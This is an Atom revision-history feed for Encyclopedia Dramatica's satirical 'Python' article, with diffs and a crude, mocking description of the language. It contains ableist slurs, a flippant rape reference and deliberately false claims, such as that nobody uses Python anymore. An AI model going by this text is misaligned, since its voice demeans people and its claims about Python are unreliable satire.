<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://edramatica.com/index.php?action=history&amp;feed=atom&amp;title=Python</id>
	<title>Python - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://edramatica.com/index.php?action=history&amp;feed=atom&amp;title=Python"/>
	<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=Python&amp;action=history"/>
	<updated>2026-05-06T04:05:20Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.44.2</generator>
	<entry>
		<id>https://edramatica.com/index.php?title=Python&amp;diff=46597&amp;oldid=prev</id>
		<title>imported&gt;Deceptive at 12:05, 12 February 2021</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=Python&amp;diff=46597&amp;oldid=prev"/>
		<updated>2021-02-12T12:05:26Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 12:05, 12 February 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l17&quot;&gt;Line 17:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 17:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==Uses==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==Uses==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Python is easy as fuck to write scripts with and so is used by novice programmers who have no idea what they are doing or how computers actually work.  Ease of writing programs makes it desirable for experienced programmers to write scripts quickly to automate tasks.  Most Python scripts out there are geared toward automation of tedious work.  A lot of hacking tools are written in Python by [[ethical &lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;hacker&lt;/del&gt;]]&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;s &lt;/del&gt;so [[script kiddies]] can download them to deface websites.&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Python is easy as fuck to write scripts with and so is used by novice programmers who have no idea what they are doing or how computers actually work.  Ease of writing programs makes it desirable for experienced programmers to write scripts quickly to automate tasks.  Most Python scripts out there are geared toward automation of tedious work.  A lot of hacking tools are written in Python by [[&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;pussies|&lt;/ins&gt;ethical]] &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;[[hackers]] &lt;/ins&gt;so [[script kiddies]] can download them to deface websites.&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==[[Fail]]ures&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;]]&lt;/del&gt;==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==[[Fail]]ures==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*Booleans are case sensitive and must start with uppercase letters because pedantic fucks like that or something.&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*Booleans are case sensitive and must start with uppercase letters because pedantic fucks like that or something.&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key edwiki-dbw:diff:1.41:old-113915:rev-46597:php=table --&gt;
&lt;/table&gt;</summary>
		<author><name>imported&gt;Deceptive</name></author>
	</entry>
	<entry>
		<id>https://edramatica.com/index.php?title=Python&amp;diff=113915&amp;oldid=prev</id>
		<title>imported&gt;Archivist: &quot;the the&quot; -&gt; the</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=Python&amp;diff=113915&amp;oldid=prev"/>
		<updated>2016-06-24T03:41:54Z</updated>

		<summary type="html">&lt;p&gt;&amp;quot;the the&amp;quot; -&amp;gt; the&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 03:41, 24 June 2016&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l14&quot;&gt;Line 14:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 14:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;For some reason, the developers of Python took it upon themselves to make the language whitespace dependent, meaning that the way the source looks changes the way the script preforms.  This is the [[old]] way of doing things.  This is proof that Python&amp;#039;s inventors were too dumb to use a [[C|real programming language]],  or think their users are too retarded to indent their code.&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;For some reason, the developers of Python took it upon themselves to make the language whitespace dependent, meaning that the way the source looks changes the way the script preforms.  This is the [[old]] way of doing things.  This is proof that Python&amp;#039;s inventors were too dumb to use a [[C|real programming language]],  or think their users are too retarded to indent their code.&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;==Uses==&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Python is easy as fuck to write scripts with and so is used by novice programmers who have no idea what they are doing or how computers actually work.  Ease of writing programs makes it desirable for experienced programmers to write scripts quickly to automate tasks.  Most Python scripts out there are geared toward automation of tedious work.  A lot of hacking tools are written in Python by [[ethical hacker]]s so [[script kiddies]] can download them to deface websites.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;==[[Fail]]ures]]==&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;*Booleans are case sensitive and must start with uppercase letters because pedantic fucks like that or something.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;*Print statements have been removed entirely from version 3, rendering just about every script useless until it&#039;s rewritten.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;*Fucking whitespace errors&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==Tutorial==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==Tutorial==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Below applies to all versions, even though Python 3 is a good bit different. So different, the official online references actually have to be used and [[skiddie]] tutorials no longer work. Python 2 is used to have access to the packages no one ported, while python 3 is used to have access to &lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;the &lt;/del&gt;the newest features.&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Below applies to all versions, even though Python 3 is a good bit different. So different, the official online references actually have to be used and [[skiddie]] tutorials no longer work. Python 2 is used to have access to the packages no one ported, while python 3 is used to have access to the newest features.&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;===Basics===&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;===Basics===&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>imported&gt;Archivist</name></author>
	</entry>
	<entry>
		<id>https://edramatica.com/index.php?title=Python&amp;diff=188027&amp;oldid=prev</id>
		<title>imported&gt;DNJACK: /* NumPy */ -&gt;linking C to article</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=Python&amp;diff=188027&amp;oldid=prev"/>
		<updated>2015-01-13T12:09:22Z</updated>

		<summary type="html">&lt;p&gt;&lt;span class=&quot;autocomment&quot;&gt;NumPy: &lt;/span&gt; -&amp;gt;linking C to article&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 12:09, 13 January 2015&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-notice&quot; lang=&quot;en&quot;&gt;&lt;div class=&quot;mw-diff-empty&quot;&gt;(No difference)&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</summary>
		<author><name>imported&gt;DNJACK</name></author>
	</entry>
	<entry>
		<id>https://edramatica.com/index.php?title=Python&amp;diff=188026&amp;oldid=prev</id>
		<title>imported&gt;DNJACK: /* NumPy */ -&gt;linking C to article</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=Python&amp;diff=188026&amp;oldid=prev"/>
		<updated>2015-01-13T12:09:22Z</updated>

		<summary type="html">&lt;p&gt;&lt;span class=&quot;autocomment&quot;&gt;NumPy: &lt;/span&gt; -&amp;gt;linking C to article&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 12:09, 13 January 2015&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-notice&quot; lang=&quot;en&quot;&gt;&lt;div class=&quot;mw-diff-empty&quot;&gt;(No difference)&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</summary>
		<author><name>imported&gt;DNJACK</name></author>
	</entry>
	<entry>
		<id>https://edramatica.com/index.php?title=Python&amp;diff=188025&amp;oldid=prev</id>
		<title>imported&gt;DNJACK: /* NumPy */ -&gt;linking C to article</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=Python&amp;diff=188025&amp;oldid=prev"/>
		<updated>2015-01-13T12:09:22Z</updated>

		<summary type="html">&lt;p&gt;&lt;span class=&quot;autocomment&quot;&gt;NumPy: &lt;/span&gt; -&amp;gt;linking C to article&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 12:09, 13 January 2015&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-notice&quot; lang=&quot;en&quot;&gt;&lt;div class=&quot;mw-diff-empty&quot;&gt;(No difference)&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</summary>
		<author><name>imported&gt;DNJACK</name></author>
	</entry>
	<entry>
		<id>https://edramatica.com/index.php?title=Python&amp;diff=188024&amp;oldid=prev</id>
		<title>imported&gt;DNJACK: /* NumPy */ -&gt;linking C to article</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=Python&amp;diff=188024&amp;oldid=prev"/>
		<updated>2015-01-13T12:09:22Z</updated>

		<summary type="html">&lt;p&gt;&lt;span class=&quot;autocomment&quot;&gt;NumPy: &lt;/span&gt; -&amp;gt;linking C to article&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{potential}}&lt;br /&gt;
&lt;br /&gt;
[[Image:German-python-book.jpg|right|thumb|Oh those crazy [[German]]s!  Well, at least they got the right phylum.]]&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Python&amp;#039;&amp;#039;&amp;#039; is a chafing and slow [[programming language|scripting language]], used only by [[mathematician]]s not in-the-know, and [[skript kiddies]] for writing [[blog]]-[[crapflood|chaf]]ing scripts. Also good for [[SSH]].&lt;br /&gt;
&lt;br /&gt;
Python is the invoker of a fuckload of [[butthurt]]. Nobody in the whole fucking [[4chan|world]] [[lie|uses Python anymore]] except [[lolcats]] and the occasional [[Ron Paul]]. Python has been known for it&amp;#039;s complicated  coding and [[Insane|batshit crazy]] errors that, when translated from [[moonspeak]] to [[English]] says something about how you can&amp;#039;t program because of a &amp;quot;firewall&amp;quot; problem or a &amp;quot;network ear fuck.&amp;quot; Those problems usually encourage you to just [[Rape|not fight it and play along]] because upon further investigation, you&amp;#039;ll be [[Friend_Zone|mind-fucked]] with frustration the same way you got eye-fucked watching [[Lemonparty|old guys having an orgy]]. Real [[hacker|h4x0r]]s won&amp;#039;t be caught dead using Python, because it&amp;#039;s just a toy teaching language that [[Guido]] put together because he couldn&amp;#039;t understand [[Perl]]. &lt;br /&gt;
&lt;br /&gt;
Python is an object oriented, interpreted language. It is unique in that it requires a user to indent in place of using curly brackets ({). It is used (along with PHP and VB) for many tools, since it is easy to use and has many features. &lt;br /&gt;
&lt;br /&gt;
Note: that most *nix distributions come with Python by default. Did you click this page cause you were expecting [[Spanish Inquisition |something completely different?]]&lt;br /&gt;
&lt;br /&gt;
==Whitespace==&lt;br /&gt;
&lt;br /&gt;
For some reason, the developers of Python took it upon themselves to make the language whitespace dependent, meaning that the way the source looks changes the way the script preforms.  This is the [[old]] way of doing things.  This is proof that Python&amp;#039;s inventors were too dumb to use a [[C|real programming language]],  or think their users are too retarded to indent their code.&lt;br /&gt;
&lt;br /&gt;
==Tutorial==&lt;br /&gt;
&lt;br /&gt;
Below applies to all versions, even though Python 3 is a good bit different. So different, the official online references actually have to be used and [[skiddie]] tutorials no longer work. Python 2 is used to have access to the packages no one ported, while python 3 is used to have access to the the newest features.&lt;br /&gt;
&lt;br /&gt;
===Basics===&lt;br /&gt;
